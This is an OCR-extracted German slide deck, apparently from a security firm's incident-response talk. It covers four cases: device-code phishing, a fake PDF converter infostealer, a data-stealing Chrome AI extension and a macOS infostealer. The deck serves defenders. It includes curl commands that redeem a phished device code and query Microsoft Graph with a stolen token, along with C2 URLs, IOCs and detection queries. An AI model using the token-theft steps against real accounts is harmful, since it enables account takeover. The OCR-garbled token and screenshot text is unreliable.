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Aktuelles Umfeld

Mit Insights aus unserem Cyber Defense Center

Offentliche Quellen

©

Die Hackergruppe Akira hat in den letzten Monaten
Uber 200 Unternehmen erfolgreich angegriffen, der
Schaden geht in die Millionen eacs 102025

Uber 40% aller Ransomware Angriffe betreffen neben

On-Premise Umgebungen auch Cloud Instanzen
[MSFT 10/25]

Knapp 35% der erfolgreichen Angriffe auf die Cloud
nutzen valide Accounts, 82% aller Detections in 2025
waren Malware-Free. (crowdstrike 02/26]

29 Minuten vergehen im Durchschnitt vom Initial
Access -> Lateral Movement, Zeitfenster fur Reaktion
wird kleiner [CrowdStrike 02/26]
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Anzahl identitatsbasierter Alerts hat sich im 2025
gegenuber 2024 mehr als verdoppelt, haufig
Kombination Phishing mit Man-in-the-middle

Hochwertiges Phishing Uber Supply-Chain mit
bekanntem Absender, rein «technisch legitim» und fur
Benutzer kaum erkennbar, Ziel Monetarisierung

Angreifergruppierungen planen die Aktivitaten
zeitlich gezielt und nicht zu Burozeiten, >400 Incident
Investigations ausserhalb Burozeiten im 2025

Malvertising seit 2-3 Monaten wieder vermehrt
zugenommen — Angreifer investieren bei Google
fUr Top-Platzierung



Case #1 - How the user got phished wani
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'\‘ Adobe Acrobat Sign .

@ login.microsoftonline.com/commonfoauth2/deviceauth

= Benutzer erhalt eine E-Mail mit einem PDF

= PDFent s mimecast:

% Microsoft

+ Safe link Enter code to allow access

@ Emall sec Once you enter the code displayed on your app or

device, it will have access to your account.

DO you . We” done, t| Do not enter codes from sources you don't
trust.

We've randon  YOu can continue to

whether it’s si

Link Clicked
https://linkprotect

Safety Tips

Q, Cyber criminal:

Message Subjec WWW. Watch out for ¢
Re:

Message Sender

v Sign in with your Microsoft account
Email Address .
I Continue to Page
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B curl -s -X POST "nttps://login.microsoftonline.com/common/oauth2/v2.0/token" \ v

-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code \

&client_id=d3590ed6-52b3-4102-aeff-aad2292abblc \
— &device_code=CBOABIQEAAACYNSHKEVVRQDb3BZ3Qc7wnaRXZvU3RzQXJOaWZNYIRZAQAAAAAALIZEV3IUQ8T7rSPOtkZBAUBMM2ZbZal6118802JeiEe JOxSTKIVSTdOBES6kvskUt250Qip8ggnzGV0-K-6
_FUt1qU3KfJWRez6BTF1XtGE-bKbHUERSI2SFMRNPLZvZ1UNKWZYy4abqERZHFZplha2sarUBk7002409tBxA1f162a0_T1PtqtCFp945yivszfz1C6yqtSWB67EHCMCOWXeRWFSSsX5y3qm5Q-_7vza2-QuvYJcLerf
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PESv5e(60givRxxngalSgSmox66zMZZoBFSvPgL2kzné0Jz2HivlgérN1IRsOdHieIhAWNBdULIEYHSfB1-prl1JgblE4rGwHyvpzmtVASATTTo-FxGUd-mNISL2081jyQO00Nc4Y7K41j7x0h90665mqOnéra7kNScr
q8bX_1NjBG4dFmvin4aXbJFvB4WalxHrk_JJ_4IFBvHaI9rQ5m7vwX3HHePbvexsrx-vireGyanebX0X62hjFItKXgAYB_2LJANBrog8yEIEnqUg7znbéqtVNImIf2QqHEInvSvMzNMFfWIcgWphCDngQfLBSSLtBHMZ
mFaFpTpeStPLdSdekyROIi_ifP6RTEGMoIpCRUNPQéVNKTCPoX4vrDSvhUz2x_FiBKskBo__PdKmxtu-TaEXS5z55e5rPe WVecRfZEMYUZPZ73wavE7JbJd3UbDhErSLMijKUYigHbrz2RQttjAF20vueuFPo3CP Iy Competmte‘ Security. Trust.
AR mMDPAAHNRITAVAYISREEAAAA" | Hn 1

ls B

curl -s -H "Authorization: Bearer eyJBeXAiOiJKV1QiLCJub25jZSI6IloyM21Ya210YKNENEJ4YZhSWUdMcFhpUBtVdUN4WmWZNilUMZVodmd4encilCJhbGei0iJSUzIINITIsIngldCIST1UXC]

g4WUZIUzdaN1ZsNI1ZITELSVEVQYnZaNCIsIntpZCI6I1UXxc1g4WUZIUZdaN1ZsNIZITEL6VENaYnZaMCJ9 . ey JhdWQi0iJodHRwezovL2dyYXBolmlpY3Jve29mdC5ib20iLCJpe3Mi0iJodHRwezovL3NBcy53al’

5kb3dzLmS1dCImNzkwNIQ4YiBwMTRILTQyYTQtOGM2MCImYWYINmMZMMRIN2UVIiwiaWF@IjoxNzc3Mik1MFIwLCJuYmYi0JE3NZcyOTUYNIASIMV4CCISMTCINZIS0TcZOCWiYWNFdCISMCWiYWNYIjoiNSISImF

u OAuth 2-jCnHiO'LSidI(JuOn‘."ZZ}(I6Cm‘."naXNGZXJZZWN1cm'LGEI'|I'LUZm8fLXSWi‘|’1'FLVIj0i[]‘."VRQKUVDGJBOUFBI"1nU3U'LJKNmtDTEFTRmFDZTUXTTkSaZlVUkFEUk‘?LeWh0[]UL'.IdeSDTZ'LIngI‘Um'LUNUYYRZRLOWSSNVDSRDKG
=

bUYWVEBBbVZ2YWsBNZdYNXIrTERHNBEIPSISIMFteiIoWyJwd2QiXSwiYXBwX2Rpc3BsYXLuYWI1IjoiTWlicn9zb2Z0IEImZnLiZSIsImFwWeG1kIjoiZDM10TBLZDYENTJiMyBBNTAYLWFLZmYtYNFKMIISHNFiN
DFFIiwiYXBwaWRhY3Ii0iIwIiwiZmFtaWx5X25hbWUi0iJWaWNeaWeilcnaXZ1bl9uYW11IjoiVehlIiwiaWRBeXAi0iJ1c2VyIiniaXBhZGRYI oiNDUUODAUMTHSLIIy0SISINShbWUL01JUaBUgVmLid6LtIL
wib21kIjoiMz11ZTk406QtZDgBZS00YZzgz L WEYZDetNZCANGYjOWFhNTH4ATiwic6xhd6Yi0iIxNCISINB1aWQi0iIxMDAZMIAWNUMXNBEQUQBTiwicmgi0iIxLKFVOEFpHLNROTBZQNFFS81ZUHIZYKRMYNZnTUF
BQUFBQUFBQXdBQUFBQUFBQUFBQUFMOVBBQS4iLCJZY3A101JBAWRpdEXVZYSDemVhdGUgQ2FSZWSKkYXTuUmVhZFdyaXRLIENhDGVUZGFycySSZWFKLINoYXJ1ZCBDYWXLbnRhenMuUmVhZFdyaXRLIENoYWSuZwuy
Q3JLYXRLIENoYWSuZWwuUmVhZEJhe 213 LKFsbCBDaBFubmVsTWVEYmVy L LJLYWRXcmLOZS5Bb6wg02hhbmS1bE11c3NAZ2UuUnVAZC5BbGWgQ2hhbmS1bELLe3NhZ2UuU2VuUZCBDaGFubmVsU2Veds1uZ3HulnVhZ
FdyaXR1LkFsbCBDaGFBLKNYZWFBZSBDaGFBLLJLYWRXcmLOZSBDaGFOTWYVtYmVyLLJLYWRXcmLOZSBDb258YWNBcySSZNFKY3JpdGUgRGFAY Uxve3NQemV2ZWSBaWIulGIsaWNSLKV2YWx1YXRLIERpCmVd69yes
SBY2N1c3NBc1VzZXIuQWxsIERpemVid69yeSSSZWFKLKFSbCB1bWFpbCBGalix1eySSZWFKIEZpb6VzZLLJ1YWQuOWXSIEZpbGVZLLJ1YWRXcmLOZS5Bh6waRMLsZVNAb3JhZ2VDb250YWLUZXIuU2VsZWNBZWQgR3
vdXAuUMVhZCSBbGWgR3JvdXAuUmVhZFdyaXR1LKFsbCBJbmZvem1hdGLvb1Byb3RLY3Rpb25Qb2xpY3KuUMVhZCBNYWLSLLJLYWRXcmLBZSBNYWLS LLNLbmQgTm98ZXMuQ3JLYXR1IGIwZWSpZCBPcmdhbmLaYXRp
curl -s -X POST b24uUmVhZC5BbGWgUBVVEEXLLLILYWQQUBVVEEX1LLILYWQuQWxsIFByaWSeZXIuUmVhZCSBbGWgUHIpbnRLeINOYXJLLLJLYWRCYXNpYySBbGWgUHJpbnRKb2IuQ3JLYXRLIFByaWS8SmIil LJLYNRXcmLOZUJhe
-H "Content-Type: &2LiIHByb2ZpbBUgUnVwb3JOcy5SZNFKLKFShCBTZWSzaXRpdmV.JbmZyVHLWZSSEZXRLY3QgU2Vuc218aXZ1SW5mb1RSCEUVUNVhZC5BbGWgU2Vuc210aXZpdHLMYWILbCSFAnFSAWFBZSBUYXNrcy5SZWFKY3pd6
_d "client id=d359¢Y9V6YnbSSSZUFkQnFzalMuQUxSIFRLYWINZNLiZXIuUNVAZF dyaXRLLKFSbCBUZNF tc1RNY:5SZUFKV3JpdGVBD3 DaGFBIFVZZXIUUNVAZCSBOGNGVXNLC1SSZWFkOnF zaliMuQliXSTFVZZXTuUNVNZF dyaXRLIFV
- ZZXJZL1LJLYWQiLCJzaWQi0iTwMDQxMNYSYS0zMzIWLTLIKMZMt0TFIZC1nZThKMDK4NMIZZDgilCJzdWT 101 teiBSMINKTXRWbInLMy1JZVNSSELBWFUSRIBURZR6eUVXMI0ZeKFRSKP3Tiwid6VuYWSBX3J1Z21y
{ D19zY29wZST6IKVVIiwid61kIjoiZjcSMDYOOGItMDERYiOOMME4LThINTALZNFNNZZ Nz KYIdLIiwidWSpeXV1X25hbWUi0iJ2aWNeaW1Aa2VpalR1ZS5jaCIsInVwbil6InZpY3RpbUBrZWLpZGVLLNNoTIinid
"user code™: ..CBﬁ:N[xRpljaivToea1RmR1nna1azonMbunzzs9303151n21cjIéljEuhCIsInupznmiolsiVj952meNaotm2VmoseeNjgsLTgxNamtNzzimTka2191NTA511951nnt919nv3RfZmueljaivalliwieslzxzzezc;eIm
- : xLTEXRTUdKOVRUTINY TWJMd1JZaBNFOWR3ZF970612bHnZNThTWUZLQ3dCWLhWeWIZQmxibT15ZEdndFpITnRIdyIsInhtc19pZHI1bCISIFEQMTILLCI4bXNFCBZOZXhWIjoxNzc3Nzg2ZMTH4LCJ4bXNFC3Qi0ns
"device_code™: "CBric3ViIjoibkpkVThgb3B5ZU43MURNZEWXVM1xeENQSMPKOHBZSGNKRVUXCELIYBKXQSIILLI4bXNFE3ViX2ZACI6TIMOMTYiLCI4bXNFAGNKACTANTCSMTQyMZEWNiwie61zX3RKYNIi01JFVSISInhtc198bnRE
FU.t1qU3H_FJWRezéafleiZmNGIjoiHTYgH\rJ‘?.GTVI‘FB'LZVBG'L}'I|.WkwnwCDxa??zKesCeXsxaN\.r?Ccwi{BGTerqAxllzsebdeHTBSVLé[]fjsLkuhEé-ﬁuDP‘?GHBPwHZkHSLDDch[]xlL_BIpraJHHJjeBhtuulLTNTFVenFQdoubiD_CJme
COCH34F_-PQL&BXACEUKVTt-aa8sinIjgoIte_tNn3uwbNvuss)8eSLwbW7Sd_zrYH1fm3iBFqEaaJX29ykjiCtUVtKiV2Jain4Fgx2Crs8SkS286BZ_CW92KptHNXWE -KUSY_B_bwyneVUodEE1IGvVré&YPo_hYU
ESvSeQ&0giuRxxngalSgitesciiNkYUSHKWyyzSvpXjoLNWoNIdFEme_Lg" \

8bX_1NjBG4dFmv1n&XbJF "https://graph.microsoft.com/v1.8/me" | jq .

= : i
FanTpeStP LﬂSdE‘E{‘,"REIIf “@oda_ﬂta.contcxt“: "https: //graph.microsoft.com/vl.08/$metadataffusers/Sentity",
6_MVPPOHDBITQVDX3JGF( businessPhones: [l.

SRT 3 g "displayName": "The Victim",
"verification_uri": "givenName": "The",
"axpires dn™c wEg, TR U
"interval™: 5, "mobilePhone": "

" n, o n : "officelocation”: ;
message™: "To sigr "preferredLanguage”: Z
"surname": "Victim",

- |:| "userPrincipalName": "victim@ b,
"id": "39ee988d-dB4e-4c83-a2d7-7784ec%aas38"

}
Ll R 15:135:51

. 15:09:19
15:89:19

- 15718185

0BESG6kvskUtZ2sq0ip8ggnzGV0-K-6_
WeSsx5y30mh0- _7vza2-QvYJclerfP
4YTK41]7x0h90665mq0nsra7KNSCrg
vMzNMfWJcgWphCDngQfLBSBLtBHMZm
YigHbrzZ2ROQttjAf20vueuFPo3CPJy4

henticate."

v 15:18:13

eU5sv1l_hvmwp4CodCBgRhFXE. B566Zz159TG6SIIMNPFri3hIUtfNO3t96ZATF6TNHOHLvWStEOZeA KCAELWVif13NQA-1K4TYSBY1PzxJYFk1sgbpAQcwXH1PFJGb-UnXSitUULbVeYRojFiY¥3ycOJDoIuAXIZ
IjbETEBO3wgIOw2ZmwRHmWnHovEDe  NMcGGgViH_VPaK4171fHEaaBH- L9XBYKK3afSobpdCIt4wVLy4NZsgeEtHIim4f0g8ApaSyove2RRapnCB2U0-g4B0MgYTCnKfnIUeHmQ",
nfgoits "0

}
[ & 15:12:00



Case #1 - Microsoft Logging Failure Awmﬁ
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Activity Details: Sign-ins

Basic info Location Device info  Authentication Details Conditional Access Report-only

Device ID S5bbd4a73b-5025-41ef-B431-39e2ecc4d8868
Browser Edge 18.20348

Operating System  Windows10

Compliant Mo

Managed Mo

Join Type Hybrid Azure AD joined




Case #1 - Wie der Angriff weiterging... wan
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= Angreifer implementierte mehrere Mailbox Rules in der Mailbox des Opfers

= Angreifer registrierte eine Domain welche fast identisch zur Mail-Domain des Opfers ist (company.com -
company.org)

= Angreifer sendet eine Mail-Konversation an die neu registrierte Domain

= Angreifer erstellt eine gefalschte Rechnung und sendet dies als Antwort auf die Mail-Konversation an einen Kunden es
Opfers

= Angreifer erstellte einen Account bei zoho[]Jcom mit der Identitat des Opfers. In diesem Account wurde eine neue
Domane fur das nachste Opfer gekauft und die ndtige Infrastruktur vorbereitet



Case #1 - Wie unsere Response aussah... Awmﬁ
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= Verdachtiges Login mittels Device Code Flow wurde identifiziert 2 Benutzer als kompromittiert bestatigt
= Session Revoke, Password-Reste, Re-Rollout MFA fur den Benutzer

= Audit- und Mail-Logs des Benutzers gepruft
= Mailbox Rules identifiziert
= Rules entfernt
= Weitergeleitet Konversation identifiziert
= Fake E-Mail an den Kunden des Opfers gefunden
= Kunde wurde gewarnt, keine Zahlung an den Angreifer
= Account Registration bei zoho[.]Jcom gefunden
= Credentials Reset bei Zoho fur den Account
= |dentifizierung des nachsten Opfers (Lookalike Domain welche registriert wurde)
= Warnung an nachstes Opfer gesendet
= Takedown Infrastruktur bei Zoho

= |mplementierung neuer Conditional-Access Policy um Device-Code-Auth zu verhindern



Case #1 - Learnings / Take-Aways wan
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= |mplementieren Sie eine Conditial-Access Policy in ihrem Entra tenant welche Device-Code Authentication auf eine
definierte Benutzergruppe einschrankt.

= Name: Block Device Code Flow

= Assignments: Include All users, Exclude specific user group (e.g. IT Admins)

= Target resources: All resources

= Network: not configured

= Conditions 2 Authentication flows = Device code flow

= Grant: Block access

» https//learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows

= Prufen Sie bestehende Signin-Logs auf "Device Code Flows”
= Entra = Sign-in logs
= Add Filter = Original transfer method = Device code flow
= Falls bestehende Logins existieren, genau prufen ob diese legitim sind oder nicht

= Senden Sie ihre Entra Signin Logs an einen Azure Event-Hub fur long-term storage


https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows
https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows

— ?
Case #1 - Fragen ~ AVANE




Case #2 - Malicious PDF Converter wan
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Case #2 - Wie lief der Threat Hunt ab wani
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= Security Researcher berichtet auf Twitter/X Gber einen Infostealer welcher sich als PDF Converter
getarnt hat

= Suche nach Executables in Downloads/Desktop Foldern welche “PDF" oder “Convert” enthalten

TIMELINE

Date e Domain File Path Event

-09-24 05:49:21 deownill.]Jcom/ Users \Desktop\ConvertMate.exe Mobtw\Written

2025-07-29 08:26:00 cownil[.Jcom/ home' \Downloads\ConvertMate.exe Motw\Written

deownill.]Jcom/ Users' Desktop\ConvertMate.exe Mobtw\Written

= Prufen der Installation, wurden weitere verdachtige Aktionen dieser Software durchgefuhrt?

ocess Create file: UpdateRetreiver.exe in folder: \Device\HarddiskVolume3\Users AppData\Local\ConvertMate\UpdateRetreiver.exe

Process Create file: UpdateRetreiver.exe in folder: \Device\HarddiskVolume3\Users |AppData\Local\ConvertMate|\UpdateRetreiver.exe

Process Create file: UpdateRetreiver.exe in folder: \Device|HarddiskVolume3\Users AppData\Local\ConvertMate\UpdateRetreiver.exe

Process Create file: UpdateRetreiver.exe in folder: \Device\HarddiskVolume3\Users JAppData\Local\ConvertMate\UpdateRetreiver.exe




Case #2 - Wie lief der Threat Hunt ab

= Noch mehr verdachtige Aktivitaten...

EVENT_TIME i EVENT_SIMPLE_MAME i INAM i AW MAME i ! MAMND

kRegistered ( artMateTask C:\Users AppDatalLocal\ConvertMate\UpdateRe

2025-09-24T05:49:2¢ ScheduledTaskRegistered C AppData\Local\ConvertMate\UpdateRetre

= Scheduled Tasks verbindet regelmassig zu seinem “Update” Server

EVENT : R 5 : i IP4

DnsRequest UpdateRetreiver.exe confetly.c 104.18.2.230;104.18.3.230;

DnsRequest UpdateRetreiver.exe ( 3.230:104.18.2.

DnsRequest UpdateRetreiver.exe

UpdateRetreiver.exe

DnsRequest UpdateRetreiver.exe

DnsRequest UpdateRetreiver.exe

AVANI!!‘.
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Case

= Update Prozess sendet JSON Daten?

EVENT_TIME

24T12

F+00:00

3:48+00:00

48+400:00

3400:00

2:33:56+00:00

7:33:56+00:00

2025-09-29T12

= Reversing der “UpdateRetreiver|]exe” zeigt C2 Implementierung:
= /auth — Abfrage von Kommandos, Authentication mittels unigue ID
= /iserr — Resultat des Kommandos wird zurlUckgeschickt

55+00:00

56+00:00

57+00:00

5+00:00

46400:00

46400:00

METHOD

GET

GET

POST

GET

GET

POST

GET

GET

POST

GET

POST

GET

2 - Wie lief der Threat Hunt ab

TYPE

applicationfjson

applicationfjson

applicationfjson

applicationfjson

applicationfjson

applicationfjson

applicationfjson

applicationfjson

applicationfjson

applicationfjson

applicationfjson

applicationfjson

URL
confetly.comjauth

confetly.com/fauth

confetly.com/fis

confetly.comfiserr

confetly. Jauth

confetly.com/fauth

confetly.comfiserr

confetly.com/fauth

confetly. fiserr

confetly.comjauth

AVANI!!‘.
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Case #2 - Wie lief der Threat Hunt ab wan
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= Gesammelte IOCs und TTPs
= Hashes
= |P Adressen
= Domains
= Code Signing Zertifikate
= File "id.txt" in AppData der Applikation
= Google Ads Campaign ID im initialen Download
= Scheduled Task mit POST Requests

= Die gesammelten IOCs und TTPs wurden fur weitere Queries uber die komplette Kunden-
Landschaft genutzt

= - Insgesamt 12 kompromittierte Endpunkte bei mehreren Kunden identifiziert
= - Verschiedene Varianten, nicht Uberall ConvertMate

= Systeme wurden bereinigt, Account Passworter geandert, Custom Detectors bei allen Kunden
implementiert

= Bei keinem der Kunden wurde ein Impact festgestellt
= (C2 Kanal war offen, aber nicht aktiv verwendet



Case #2 - Die folgenden Monate...
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$e Easy2Convert - Convert Files Or X ~+ 4 ConvertyFile X + v =

C ¥ 8 https://www.ez2convertapp.com/ % C % 8 https//www convertyfileapp.com 0% vy O &

et staried CeonvertyFile

Effortless PDF solutions
Convert Any File to PDF in Seconds

Easy2Convert helps you convert, merge, and download your files with just a few clicks.

ConvertyFile is your ultimate tool for converting, merging, and compressing
PDFs with ease. Take control of your documents on your PC today!

Start Download

Infinite Docs W PowerDoc - Enhance Your Docu X +

C ¥ 8 https//www.infinitedocsapp.com/ % C ¥ 8 hitps//www.powerdocapp.com/ 0% v O W

InfinitecoDocs P%R START DOWNLOAD

Your All-in-One Tool for Effortless PDF ENHANCE YOUR DOCUMENT EXPERIENCE
Conversion & Compression WITH POL/ERDOC

Discover Infinite Possibilities with Infinite Docs Check out our awesome PDF tool, it can boost your workflow by converting your files easily!

FREE DOWNLOAD




Case #2 - Takeaways

= Deployment von einer EDR Losung alleine reicht nicht aus

= Die richtige Losung in Kombination mit Threat Hunting fuhrt zum Erfolg

= Blockieren Sie den Download von Executables auf dem Proxy fur ihre Benutzer

= Stellen Sie den Benutzer einen guten PDF Editor zur Verfugung ©

= Prufen sie folgende Code-Signing Zertifkate in ihrer Umgebung

BLUE TAKIN LTD

TAU CENTAURI LTD
SPARROW TIDE LTD
TECHNODENIS LTD
AMARYLLIS SIGNAL LTD
BLACKINDIGO LTD
LONG SOUND LTD

OR KAHOL LTD

ASTRO BRIGHT LTD
MAINSTAY CRYPTO LLC
MY TECH MEDIA LTD
ECLIPSE MEDIA INC.
INTERLINK MEDIA INC.
SHERLOCK TECH LTD
WHATECH MOBILE CO,, LIMITED

IENGINEERING PRIVATE LIMITED
CROWD SYNC LLC

WORK PRODUCT INC

PIXEL CATALYST MEDIA LLC
BYTE MEDIA SDN BHD

ECHO INFINI SDN. BHD.

GLINT SOFTWARE SDN. BHD.
GLOBAL TECH ALLIES LTD
SIRIUSONE LTD
SELALINESLTD

BONY INNOVATION LTD

GLINT By J SDN. BHD
MILLENNIAL MEDIA INC.
SUMMIT NEXUS HOLDINGS LLC.
RED ROOT LTD

AVANI!!O_
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App Interplace LLC

ATA MARKETING LTD.
AMARYLLIS SIGNAL LTD
APOLLO TECHNOLOGIES INC.
ASTRAL MEDIA INC.

ASTRO BRIGHT LTD

BLAZE MEDIA INC.

CAERUS MEDIA LLC

CANDY TECH LTD

CROWN SKY LLC

DRAKE MEDIA INC
INCREDIBLE MEDIA INC
Performance Peak Media LLC
SORBET LIVE LTD
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2 — Takeaways Awmﬁ
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= Crowdstrike Falcon Query

SubjectCh
SubjectCh
SubjectCh
SubjectCN

SubjectCh
SubjectCh
SubjectCh

JBLUE TAKIN LTD|TAU CENTAURI LTD|SPARROW TIDE LTD|TECHNODENIS LTD |AMARYLLIS SIGNAL LTD/1 OR
JBLACK INDIGO LTD|LONG SOUND LTD|OR KAHOL LTD|ASTRO BRIGHT LTD|MAINSTAY CRYPTO LLC/1 OR
JGRASSROOTS CONSULTING GROUP LLC|CROWD SYNC LLC|WORK PRODUCT INC|PIXEL CATALYST MEDIA LLC/1i OR
JGRAS5R00TS COMSULTING GROUP LLC|CROWD SYNC LLC|WORK PRODUCT IMC|PIXEL CATALYST MEDIA LLC/1 OR
/BYTE MEDIA 5DM BHD|ECHO INFINI 5DN. BHD. |GLINT SOFTWARE SDM. BHD. |GLOBAL TECH ALLIES LTD/1 OR
JECHO INFINI 5DN. BHD. |GLINT SOFTWARE SDMN. BHD. |GLOBAL TECH ALLIES LTD|SIRIUS ONE LTD/1 OR
/SELA LINES LTD|MY TECH MEDIA LTD|BONY INMNOVATION LTD/1




Case

= Microsoft Defender Query

DeviceFileCertificateInfo
| where Signer has_any |

)

"BLUE TAKIN LTD",

“"TAU CENTAURI LTD",
"SPARROW TIDE LTD",
“"TECHNODENIS LTD",
"AMARYLLIS SIGNAL LTD",
"BLACK INDIGO LTD",

"LONG SOUND LTD",

"OR KAHOL LTD",

"ASTRO BRIGHT LTD",
"MAINSTAY CRYPTO LLC™,
"GRASSROOTS CONSULTING GROUP LLC",
"CROWD SYNC LLC",

"WORK PRODUCT INC",

"PIXEL CATALYST MEDIA LLC“,
"BYTE MEDIA SDN BHD",

"ECHO INFINI 5DN. BHD.",
"GLINT SO0FTWARE S5DN. BHD.",
"GLOBAL TECH ALLIES LTD",
"SIRIUS ONE LTD"™,

"SELA LINES LTD",

"MY TECH MEDIA LTD",

"BONY INNOVATION LTD"

| project Timestamp, DeviceMName, SHAl, Signer,

2 — Takeaways

Issuer, IsTrusted, IsRootSignerMicrosoft

AVANI!!‘.
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Case #3 - Malicious Chrome Al extension

= Threat Hunting aufgrund von Threat Intelligence Reports

= Chrome Extensions welche sich als die “legitime” AITOPIA Extension tarnen

= Suche nach Chrome Extensions mit den Keyword “aitopia” =2 1 Endpoint gefunden

EVEN... @ T_FILE_NAME

5-10-10T7

2026-01-097 |

2026-01-091 |

2026-01-301 |

EVENT_TIME

2026-01-09T11:

AppDatal

alLocal\Goo

AppData\Local\Goo

Al

yCale00

hrome\User Data\Default\Extensions\fnmihdejmnkelgjpcoonokmkhjpjechg\1.2.5_0Mai

ome_url_fetcher_1 0_1: \FNMIHDOJMNKCLGJPCOONOKMKHJPJECHG_1_9_3

hrome\User Data\Default\Sync App Sett nmihdojmr

hrome\User Data\Default\Extensions\fnmihdojmnkclgjpcoonokmkhjpjec

pcoonokmkhjp]

pcoonokmkhjp

pcoonokmkhjpje

pcoonokmkhjp

hrome\User Data\Default\Extensions\fnmihdojmnkclgjpcoonakmkhjp

fault\Extensions\fnmihdojmn

IC

oonokmkhjpje

AVANI!!‘_
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Case #3 - Malicious Chrome Al extension

= Extensions D
= fnmihdojmnkclgjpcoonokmkhjpjechg

= Name
= Smart Sidebar: Chat GPT, Claude & DeepSeek

4.6 out of 5% Wk kW

ratings - rn more about r

See all reviews

Privacy

@ The 0 that it will not collect or use your data. To learn more, se

This developer declares that your data is
« Not being sold to third parties, outside of the
+ Not being used or transferred for purposes that are unrelated to the item's core functionality

» Mot being used or transferred to determine creditworthiness or for lending purposes

@ Smart Sidebar: Chat GPT, Claude & DeepSeek

4.6 % (2.7K ratings) @

Extension Tools 400,000

Overview

Supercharge Your Browser with the Al Sidebar powered by ChatGPT, Claude Sonnet & DeepSeek Al

Access the world's most advanced Al models, including the new GPT-5 series, Claude 4.5 Opus, Gemini 3, and Grok 3. Whether you're browsing
websites, reading articles, or coding, Smart Sidebar is your intelligent assistant that seamlessly integrates into your browsing experience. & Find
the best Al Agent for your needs and save hundreds of hours on daily tasks.

Now featuring OpenAl's next-gen reasoning models (03-mini, 04-mini) and DeepSeek V3! Smart Sidebar revolutionizes how you work in Chrome.
M Upload PDFs or documents for in-depth analysis and leverage GPT-5 Vision to understand charts, graphs, and images. €) With our Web Access
feature, you can browse real-time data without limitations.

AVANI!!‘_
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You might also like

& 2025 Chrome's Favorite ¥

€0 Sider: Al Sidebar

Loved by 10M+ users

Sider: Chat with all Al:...

4.9 %

ChatGPT, DeepSeek, Gemini,
Claude, Grok all in one Al sidebar...

@ Al SIDEBAR

SUMMAARTEE - ASE - SLARCH - REWRITE
WHITE - CREATE BAGES

CHAT PSEEK Al
CHATGPT, CLAUDE, AND
MORE. .

Al Sidebar with Deepseek,...
4.7

Chat with Deepseek Al, ChatGPT,
Claude, and more. Boost creat




Case

= Extension vom Endpoint und Chrome Webstore gedownloadet

= Permissions der Extension:
<all_urls>

Extension lauf t auf jeder besuchten Website

Scripting

Extension can Javascript oder CSS in jede Website
Injecten

Storage

Zugriff auf chrome.storage API. Lesen und schreiben
von persistenten Daten (Cache)

system.display

Extension kann Infos Uber Display abfragen

contextMenus

Hinzuflugen von Eintragen im Kontext-Menu
(Rechtsklick)

3 — Malicious Chrome Al extension

AVANI!!‘.
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manifest.json

"loader.js"

gl IR | '!E...IIIIII.....
"<all urls="

at": "document_end",

[
altopla/assets/2113042365619d205c3c594ad87e62cd. css5”,
"aitopiasassets/4ef25b11a581f51bf711ede73bdlefea. css”

"system.display",
"contextMenus"

.aitopia.ai/«",
/+.chatgptextension.ai/«+"




Case #3 — Malicious Chrome Al extension wani
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} from "./6a9d2cf74beb95f898ebba51cbl26aec.js";
import

= \Was macht die Extension? . BEESER

. . . . . } from "./aff28b06e242157a60245cTbcb54fdee. js";
* |njected highly obfuscated code in jede Website welche
mMan besucht

* |njected einen Banner in das offizielle ChatGPT Fenster

= Exfiltriert samtliche Al chats und die gesamte Browser
History des Benutzers an deepaichats[.]Jcom

IT_TIME

01-05T0E:31:15+00:0( 205 : 1 hats.comfext/aimode| applicati g laneous or Unk
6-01-06T09:44 0:00 05 059 deepaichats.com/ext/aimode applicati y neous or Unk

01-05 0 POST dee hats.comfext/chatstatus applicati g laneous or Unk

6-01-05T0 POST 738 deepaichats.com/ext/aimodel applicati g neous or Unk Rt
O —— o A e et i Ao T ) ) A wt,
6-01-06T15:02:01 00 POST 996 dee hats.com/ext/aimode| applica laneous or Unk K

'
At,
bt,
ne,
1le,

6-01-08T12: ) POST 2548 deepaichats.com/ext/aimodel applicati i neous or Unk

6-01-06T05: ) POST G656 dee hats.com/ext/aimode| applicationfjson laneous or Unk

POST deepaichats.com/ext/aimode! applicationfjson neous or Unk re

"./0d312bT4286T7694Ta%3a4b284d7250e. js";




Case #3 - Takeaways Awmﬁ
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= Die Installation von Extensions unterbinden
= GPO, alles blocken ausser Whitelist
= URL der Stores blockieren

= Benutzern nur kontrollierte Browser erlauben

= Hunt for newly installed Extensions, paste the output to your favorite Al for research ©

#event_simpleMame="DirectoryCreate" FilePath=/Chrome/1 FilePath=/Extensions/1
groupBy( [FileName])
FileName=/"~[a-pl{32}s/

FileName

bpgncaftocbpieaelgfcookhgmeamglgo
ghbmnnjooekpmoecnnnilnnbd Lo Lhkhi
nmmhkkegccagdldgiimedpliccmgmieda

ppnbnpeolgkicgegkbkbimhlideopijl




Case #3 - And Google ?7?? Awmﬁ
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= Die beiden Extensions wurden bereits Anfang des Jahres bei Google von verschiedenen Security Researchern
gemeldet

= Beide sind weiterhin online...
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Case #4 - Infostealer on MacOS

= MacOS mit Microsoft Defender |6st mehrere Detections aus

Suspicious process collected data from local system

Unix credentials were illegitimately accessed

Suspicous shell command execution

Enumeration of files with sensitive data

Suspicious access of sensitive files

Suspicious archive creation

Suspicious AppleScript activity

Possible data exfiltration using curl

Suspicious script launched

Suspicious MalScript malware was prevented
= Der einzige Alert mit Prevention

AVANI!!‘.
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Case #4 - Infostealer on MacOS AVAN,H
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= Benutzer besucht die Welbsite www[.Jtorrentmac[.]net

